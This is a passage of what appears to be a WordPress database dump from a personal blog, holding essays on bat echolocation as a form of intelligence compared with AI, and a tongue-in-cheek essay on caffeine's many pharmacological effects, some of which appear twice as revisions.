href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-anchor-3-105858052\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or eye gouging, scratching, squeezing their genitals, pulling their hair, bending their fingers, or sticking your fingers in any orifice. There are other wrinkles to the rule set as well, so please ask before you do anything crazy in your first BJJ class.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/part-of-why-chatgpts-writing-ability#footnote-anchor-4-105858052\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, actually, it’s starting with tokens. This is an important distinction, because (and I’m talking out of my depth here but I think I’m right) it allows ChatGPT to store a word like underestimate into two tokens it already knows, [under][estimate], rather than creating a new token for it. But that’s besides the point here.</p>\n<!-- /wp:paragraph -->','Part of why ChatGPT\'s writing ability surprises','','inherit','closed','closed','','379-revision-v1','','','2024-06-12 15:39:33','2024-06-12 15:39:33','',379,'https://trevorklee.com/?p=380',0,'revision','',0),
(381,1,'2024-06-12 15:40:44','2024-06-12 15:40:44','<!-- wp:paragraph -->\n<p>Imagine the intellectual challenges of living life as a bat. You wake up in pitch darkness, in a colony of up to 20 million of your fellow bats<a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-1-106663724\">1</a>. You and your fellow 20 million bats have to navigate in the dark out of the cave into the open air without colliding into each other or the cave walls.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you’re in the open air, you have to go out in search of flying insects to eat. This is, again, in darkness, and these insects are likely to be performing acrobatic turns to avoid you in mazes of tree branches. Your flying skills are what will allow you to catch these insects, but, of course, your echolocation is what’s going to allow you to sense and target these insects. It’s far too dark to target them by sight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb1d826d-d564-4c1a-aa16-319928b11b31_1200x630.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb1d826d-d564-4c1a-aa16-319928b11b31_1200x630.jpeg\" alt=\"Prey tell: How moths elude bats\" title=\"Prey tell: How moths elude bats\"/></a><figcaption class=\"wp-element-caption\">Surprisingly delicate creatures, no?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But relying on echolocation is another immense intellectual challenge. Think about how echolocation works. You, as a bat, will emit sounds into the world. These sounds bounce off of objects and return to your ears. If you want to use this echo to successfully eat a moth and not hit a tree branch while doing loop-de-loops at top speeds, you will have to be able to use the echo to figure out</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) how far objects are away from each other</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) the size and shapes of objects, even if they are on top of one another (e.g. a moth on a leaf)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) the relative position of the object compared to you on the x, y, and z axis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d) if and where the object is moving</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is really difficult! What this looks like in practice is that bats are continually emitting incredibly loud pulses of ultrasonic sound in cones in front of them<a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-2-106663724\">2</a>. Every time they emit sound they have to quickly close their ears to avoid deafening themselves, then they quickly open their ears again to hear the echo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These pulses get more rapid as they zero in on a target. But, flying towards the target presents additional challenges. First, they need to still match up the echo with the original call even when they move closer to the target, which they do by adjusting the sensitivity of their ears. Second of all, if you’re a “constant frequency” bat, your ears are specialized to only hear certain frequencies<a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-3-106663724\">3</a>. The doppler effect means that your echoes will be shifted to a higher frequency as you get closer to the target. So, you also need to downshift your calls to make sure the echoes stay within your ears’ hearing range.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bats are doing all of this in a noisy, complex environment. Not only is it filled with branches and buildings, but it’s also filled with a bunch of other bats screaming incredibly loudly. And bats have to do this continually, eating dozens of insects a night. These insects are also flying around trying to avoid these bats, even camouflaging themselves from the bats’ echolocation<a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-4-106663724\">4</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, again, the fundamental way that they’re doing all of this is just by emitting sounds, listening for the echo, and then interpreting. Because of this, huge parts of bats’ brains are dedicated to the task of interpreting these echoes. In fact, there are specific neurons in bats’ brains that only respond to certain combinations of sound frequency and timing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this is why I want to frame this specifically as an intellectual challenge, rather than just a physical ability. Yes, bats have physical abilities with regards to echolocation that we, as humans, do not have. They have incredible control over their voice and their ears. In fact, their vocal muscles contract at up to 200 times per second, which is the highest contraction rate of any muscle in the animal kingdom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, they also have intellectual abilities that we do not have. If you were given the voice and ears of a bat, you still would not be able to navigate through a forest in the dark. You certainly would not be able to catch a moth on the wing. You’d probably wouldn’t make it out of the cave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Humans value the sort of intelligence that we have used to become the dominant species on planet Earth. But that’s not the only form of intelligence. Intelligence is, broadly speaking, the ability to receive, interpret, and act on data from the outside. There are entire categories of data that we, and even our machines, cannot really interpret or act on.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, never mind if our AIs will ever surpass us in intelligence. The real question is: will they ever surpass bats?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-anchor-1-106663724\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This blog post owes a lot to Ed Yong’s excellent book on animal senses,&nbsp;<em>An Immense World</em>. Also, shout out to Thomas Nagel’s&nbsp;<em>What Is It Like to Be A Bat?</em>, the title and content of which is haunting me as I write a blog post about what it’s like to be a bat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-anchor-2-106663724\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Big brown bats also emit a cone beneath them, probably to measure their own altitude.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-anchor-3-106663724\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The advantage to keeping call frequency constant is that it allows bats to easily detect when frequency of the echo is shifted because of something their prey did, like fly away or flap their wings. The disadvantage to keeping call frequency constant is that bats can no longer use long wavelength (low frequency) and short wavelength (high frequency) calls to determine coarse and fine grained features of whatever object they’re examining.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-anchor-4-106663724\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like by having big tails that make it difficult for the bats’ echolocation to tell where the moth ends and the tail begins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My guess would be that bats whose prey is more acrobatic would have constant frequency calls, and more stationary would have frequency modulated, but I haven’t looked into it.</p>\n<!-- /wp:paragraph -->','Can an AI ever be as intelligent as a bat?','','publish','closed','closed','','can-an-ai-ever-be-as-intelligent-as-a-bat','','','2024-06-12 15:40:44','2024-06-12 15:40:44','',0,'https://trevorklee.com/?page_id=381',0,'page','',0),
(382,1,'2024-06-12 15:40:44','2024-06-12 15:40:44','<!-- wp:paragraph -->\n<p>Imagine the intellectual challenges of living life as a bat. You wake up in pitch darkness, in a colony of up to 20 million of your fellow bats<a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-1-106663724\">1</a>. You and your fellow 20 million bats have to navigate in the dark out of the cave into the open air without colliding into each other or the cave walls.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once you’re in the open air, you have to go out in search of flying insects to eat. This is, again, in darkness, and these insects are likely to be performing acrobatic turns to avoid you in mazes of tree branches. Your flying skills are what will allow you to catch these insects, but, of course, your echolocation is what’s going to allow you to sense and target these insects. It’s far too dark to target them by sight.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb1d826d-d564-4c1a-aa16-319928b11b31_1200x630.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcb1d826d-d564-4c1a-aa16-319928b11b31_1200x630.jpeg\" alt=\"Prey tell: How moths elude bats\" title=\"Prey tell: How moths elude bats\"/></a><figcaption class=\"wp-element-caption\">Surprisingly delicate creatures, no?</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But relying on echolocation is another immense intellectual challenge. Think about how echolocation works. You, as a bat, will emit sounds into the world. These sounds bounce off of objects and return to your ears. If you want to use this echo to successfully eat a moth and not hit a tree branch while doing loop-de-loops at top speeds, you will have to be able to use the echo to figure out</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>a) how far objects are away from each other</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>b) the size and shapes of objects, even if they are on top of one another (e.g. a moth on a leaf)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>c) the relative position of the object compared to you on the x, y, and z axis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>d) if and where the object is moving</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is really difficult! What this looks like in practice is that bats are continually emitting incredibly loud pulses of ultrasonic sound in cones in front of them<a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-2-106663724\">2</a>. Every time they emit sound they have to quickly close their ears to avoid deafening themselves, then they quickly open their ears again to hear the echo.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These pulses get more rapid as they zero in on a target. But, flying towards the target presents additional challenges. First, they need to still match up the echo with the original call even when they move closer to the target, which they do by adjusting the sensitivity of their ears. Second of all, if you’re a “constant frequency” bat, your ears are specialized to only hear certain frequencies<a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-3-106663724\">3</a>. The doppler effect means that your echoes will be shifted to a higher frequency as you get closer to the target. So, you also need to downshift your calls to make sure the echoes stay within your ears’ hearing range.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Bats are doing all of this in a noisy, complex environment. Not only is it filled with branches and buildings, but it’s also filled with a bunch of other bats screaming incredibly loudly. And bats have to do this continually, eating dozens of insects a night. These insects are also flying around trying to avoid these bats, even camouflaging themselves from the bats’ echolocation<a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-4-106663724\">4</a>.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And, again, the fundamental way that they’re doing all of this is just by emitting sounds, listening for the echo, and then interpreting. Because of this, huge parts of bats’ brains are dedicated to the task of interpreting these echoes. In fact, there are specific neurons in bats’ brains that only respond to certain combinations of sound frequency and timing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And this is why I want to frame this specifically as an intellectual challenge, rather than just a physical ability. Yes, bats have physical abilities with regards to echolocation that we, as humans, do not have. They have incredible control over their voice and their ears. In fact, their vocal muscles contract at up to 200 times per second, which is the highest contraction rate of any muscle in the animal kingdom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But, they also have intellectual abilities that we do not have. If you were given the voice and ears of a bat, you still would not be able to navigate through a forest in the dark. You certainly would not be able to catch a moth on the wing. You’d probably wouldn’t make it out of the cave.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Humans value the sort of intelligence that we have used to become the dominant species on planet Earth. But that’s not the only form of intelligence. Intelligence is, broadly speaking, the ability to receive, interpret, and act on data from the outside. There are entire categories of data that we, and even our machines, cannot really interpret or act on.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, never mind if our AIs will ever surpass us in intelligence. The real question is: will they ever surpass bats?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-anchor-1-106663724\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This blog post owes a lot to Ed Yong’s excellent book on animal senses,&nbsp;<em>An Immense World</em>. Also, shout out to Thomas Nagel’s&nbsp;<em>What Is It Like to Be A Bat?</em>, the title and content of which is haunting me as I write a blog post about what it’s like to be a bat.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-anchor-2-106663724\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Big brown bats also emit a cone beneath them, probably to measure their own altitude.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-anchor-3-106663724\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The advantage to keeping call frequency constant is that it allows bats to easily detect when frequency of the echo is shifted because of something their prey did, like fly away or flap their wings. The disadvantage to keeping call frequency constant is that bats can no longer use long wavelength (low frequency) and short wavelength (high frequency) calls to determine coarse and fine grained features of whatever object they’re examining.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/can-an-ai-ever-be-as-intelligent#footnote-anchor-4-106663724\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like by having big tails that make it difficult for the bats’ echolocation to tell where the moth ends and the tail begins.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My guess would be that bats whose prey is more acrobatic would have constant frequency calls, and more stationary would have frequency modulated, but I haven’t looked into it.</p>\n<!-- /wp:paragraph -->','Can an AI ever be as intelligent as a bat?','','inherit','closed','closed','','381-revision-v1','','','2024-06-12 15:40:44','2024-06-12 15:40:44','',381,'https://trevorklee.com/?p=382',0,'revision','',0),
(383,1,'2024-06-12 15:41:50','2024-06-12 15:41:50','<!-- wp:paragraph -->\n<p>I have an idea for another drug repurposing effort. I think this one could be a blockbuster.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The drug that I’m thinking of is currently predominantly used as a pesticide. It’s very effective at killing insects, but also can easily be used to kill mice, cats, and dogs. But, I don’t want to use it as a pesticide, or really to kill anything at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, my plan is to sell it over the counter to any person that asks for it. Young, old, pregnant, not pregnant – literally anyone. I first plan to advertise it as a cognitive enhancer. Once I land that as a bulkhead, I will advertise it for general brain health, and say that regularly taking it will help prevent Alzheimer’s disease and Parkinson’s disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9b1f1fb4-6881-45a1-855e-8e90a468d1c3_220x330.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9b1f1fb4-6881-45a1-855e-8e90a468d1c3_220x330.jpeg\" alt=\"Snake oil - Wikipedia\" title=\"Snake oil - Wikipedia\"/></a><figcaption class=\"wp-element-caption\">I am standing on this soapbox so people can hear me better.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>From there, the sky’s the limit. I’ll tell people that it’s a performance enhancing drug in sports, and that it can help you lose weight. I’ll tell asthmatics that it can cure asthma, and people in pain that it will cure their pain. I’ll tell people with ADHD that it’ll help cure their ADHD, and I’ll tell people who are tired that it will make them energetic.&nbsp; Hell, I’ll even tell mountain climbers that it’ll cure altitude sickness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best part? I’m not even going to bother with proper manufacturing controls. This drug literally occurs in leaves, so I’m just going to go outside, pick some leaves, wash them off, stick them in hot water, and sell the leaf water to the public. Good luck stopping me, FDA.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Of course, with me saying this, my game is probably up. I’m talking, of course, about caffeine. Everything I wrote about caffeine above is true.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It is incredibly widely consumed and has been for centuries. A bunch of different plant species have independently figured out how to produce it, including coffee species, tea species, kola, and yerba mate<a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-1-108650814\">1</a>. They mostly use it as a pesticide<a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-2-108650814\">2</a>, although there’s&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4521368/#:~:text=Caffeine%20is%20bitter%20tasting%20to,concentrations%20(25%2C%2026).\">some evidence that it also helps attract pollinators</a>&nbsp;<a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-3-108650814\">3</a>. For humans to use it, we just have to boil the leaves, which is pretty convenient.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Caffeine does kill dogs, cats, and mice. The lethal dose (LD50) for mice is 185 mg/kg, cats is 80-150 mg/kg, and dogs is 140 mg/kg. This is actually similar to the lethal dose for humans, but the main difference is that for a 3 kg cat, a single Dunkin Donuts large iced coffee would be fatal, while as for humans it’s just called “being in Boston”.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You probably already know that caffeine is a general cognitive enhancer and keeps you awake. Meanwhile, anyone who’s ever taken pre-workout powder knows that caffeine is a performance enhancing drug. And it’s probably not shocking that people with ADHD can use it to focus, given that it’s a stimulant.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But the other claims are true as well. Caffeine&nbsp;<a href=\"https://www.tandfonline.com/doi/abs/10.1080/10408398.2018.1507996\">does help people lose weight</a>, although that’s hard to separate out from its effect on energy levels. It’s&nbsp;<a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD001112/abstract\">helpful with asthma</a><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-4-108650814\">4</a>,&nbsp;<a href=\"https://apps.dtic.mil/sti/pdfs/AD0644502.pdf\">altitude sickness</a><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-5-108650814\">5</a>, and&nbsp;<a href=\"https://www.cochranelibrary.com/cdsr/doi/10.1002/14651858.CD009281.pub3/full\">pain relief</a><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-6-108650814\">6</a>. And, shockingly, it does actually have excellent data in preventing&nbsp;<a href=\"https://movementdisorders.onlinelibrary.wiley.com/doi/abs/10.1002/mds.25076\">Parkinson’s</a>&nbsp;and&nbsp;<a href=\"https://www.mdpi.com/1420-3049/27/12/3737\">Alzheimer’s</a><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-7-108650814\">7</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t want to just list all the things caffeine can do, though. Instead, I want to make a point.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Caffeine isn’t some one-off wonder drug. Like doxycycline or cyclosporine, it’s one of a number of drugs that affect fundamental pathways that are conserved across the animal kingdom. The reason caffeine has so many effects is because it’d be impossible to do something so fundamental as being a universal pesticide without having a lot of effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There are likely other drugs out there like caffeine. Hell, even caffeine is still out there, given that I, a relatively well-educated person, had no idea that caffeine could help my asthma.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We have made a choice as a society to not pursue drugs like this. The FDA pushes for all drugs to have a straightforward mechanism of action, stringent and repeatable manufacturing, clear indications, and low toxicity in non-human species. This makes for expensive, limited quantity drugs that are useful for one or two indications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I understand why this happened. The FDA wants to avoid a snake-oil free-for-all, or a repeat of thalidomide, or contamination of the drug supply, or any number of other bad press events. And I want to avoid that as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But I do want a world in which it’d be possible to imagine that a pesticide that kills dogs could be taken by the elderly over-the-counter as a prophylactic against dementia. The only drug currently on that list has been grandfathered in. Could we ever add another?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-1-108650814\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Interestingly,&nbsp;<a href=\"https://pubs.acs.org/doi/10.1021/acs.jmedchem.1c00261?fig=sch3&amp;ref=pdf\">they all produce it using the same pathway</a>&nbsp;(although different, species-specific enzymes), even though there are other pathways they could have used. This pathway starts with xanthosine, which comes from xanthine and ribose. Both of these are pretty easily produced from DNA, so it’s probably just easiest to create caffeine that way.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-2-108650814\">2</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://pubs.acs.org/doi/10.1021/acs.jmedchem.1c00261?fig=sch3&amp;ref=pdf\">Caffeine inhibits insect phosphodiesterases</a>, resulting in intracellular accumulation of cyclic adenosine monophosphate (cAMP). cAMP is used a lot in intracellular signaling. It also inhibits human phosphodiesterases, which&nbsp;<a href=\"https://www.ncbi.nlm.nih.gov/books/NBK223808/#:~:text=Caffeine%20increases%20intracellular%20concentrations%20of,free%20fatty%20acids%20and%20glycerol.\">is probably what accounts for its anti-asthmatic and cardiostimulatory effects</a>. It’s much weaker in humans than in insects, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-3-108650814\">3</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This mechanism is interesting. It actually appears as if caffeine, in the low concentration that it reaches in nectar, actually helps bees form stronger memories of the specific flowers they got that nectar from. So, bees are more likely to return to those flowers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-4-108650814\">4</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The mechanism of this gets very tricky, as I mentioned in footnote 2. If you look up the mechanism of caffeine, every source just says “caffeine blocks adenosine receptors, and adenosine promotes sleep”. That’s true, but hardly the only thing caffeine does or that adenosine does. Caffeine affects at least 10 different receptors, including 4 different adenosine receptors. All of these receptors are spread out all over the body.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now, adenosine is involved in cardiovascular signaling, but caffeine’s effect on asthma is probably because it prevents the phosphodiesterase signaling pathway that eventually leads to inflammation. Administration of caffeine can directly decrease levels of inflammatory molecules like TNF-alpha, which would be what would cause asthma. This is why corticosteroids also decrease asthma.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-5-108650814\">5</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Although the most recent medical reports I’ve found warn people about caffeine at high altitudes, because it has a stronger effect at higher altitudes, similar to how you get more drunk in an airplane. I want to ask them what they think about the Peruvians chewing coca leaves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-6-108650814\">6</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This might also be due to its anti-inflammatory effects.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/a-miracle-drug-sold-over-the-counter#footnote-anchor-7-108650814\">7</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’ll probably write another blog post about this because it’s especially surprising. For both Alzheimer’s and Parkinson’s, there are good longitudinal studies that show people who drink caffeinated coffee have lower risk of developing neurodegenerative diseases than people who drink decaf or no coffee at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to imagine the causation going the other way. People who develop neurodegeneration tend to have poor quality sleep, so they should be more likely to drink caffeine, not less. And the longitudinal studies that have been done match people up by age, income, and sex, so those other confounders are also out.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But it’s a strong effect: about 50% less likely for PD, and about 30% less likely for AD. So, what’s the cause? Maybe it’s the anti-inflammatory stuff from before, maybe it’s something to do with adenosine, or maybe it’s the inhibition of acetylcholinesterase. Inhibition of acetylcholinesterase was the target for early AD drugs, although they never seemed to work that well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or, maybe, it’s the inhibition of adenosine again. This can get especially complicated, as inhibiting adenosine from reaching its receptors also means inhibiting dopamine from reaching adenosine-dopamine complexes, although those are still very poorly understood. Again, it’s very complicated and something I want to explore more.</p>\n<!-- /wp:paragraph -->','A miracle drug sold over the counter','','publish','closed','closed','','a-miracle-drug-sold-over-the-counter','','','2024-06-12 15:41:50','2024-06-12 15:41:50','',0,'https://trevorklee.com/?page_id=383',0,'page','',0),
(384,1,'2024-06-12 15:41:50','2024-06-12 15:41:50','<!-- wp:paragraph -->\n<p>I have an idea for another drug repurposing effort. I think this one could be a blockbuster.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The drug that I’m thinking of is currently predominantly used as a pesticide. It’s very effective at killing insects, but also can easily be used to kill mice, cats, and dogs. But, I don’t want to use it as a pesticide, or really to kill anything at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead, my plan is to sell it over the counter to any person that asks for it. Young, old, pregnant, not pregnant – literally anyone. I first plan to advertise it as a cognitive enhancer. Once I land that as a bulkhead, I will advertise it for general brain health, and say that regularly taking it will help prevent Alzheimer’s disease and Parkinson’s disease.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https://substackcdn.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9b1f1fb4-6881-45a1-855e-8e90a468d1c3_220x330.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9b1f1fb4-6881-45a1-855e-8e90a468d1c3_220x330.jpeg\" alt=\"Snake oil - Wikipedia\" title=\"Snake oil - Wikipedia\"/></a><figcaption class=\"wp-element-caption\">I am standing on this soapbox so people can hear me better.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>From there, the sky’s the limit. I’ll tell people that it’s a performance enhancing drug in sports, and that it can help you lose weight. I’ll tell asthmatics that it can cure asthma, and people in pain that it will cure their pain. I’ll tell people with ADHD that it’ll help cure their ADHD, and I’ll tell people who are tired that it will make them energetic.&nbsp; Hell, I’ll even tell mountain climbers that it’ll cure altitude sickness.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The best part? 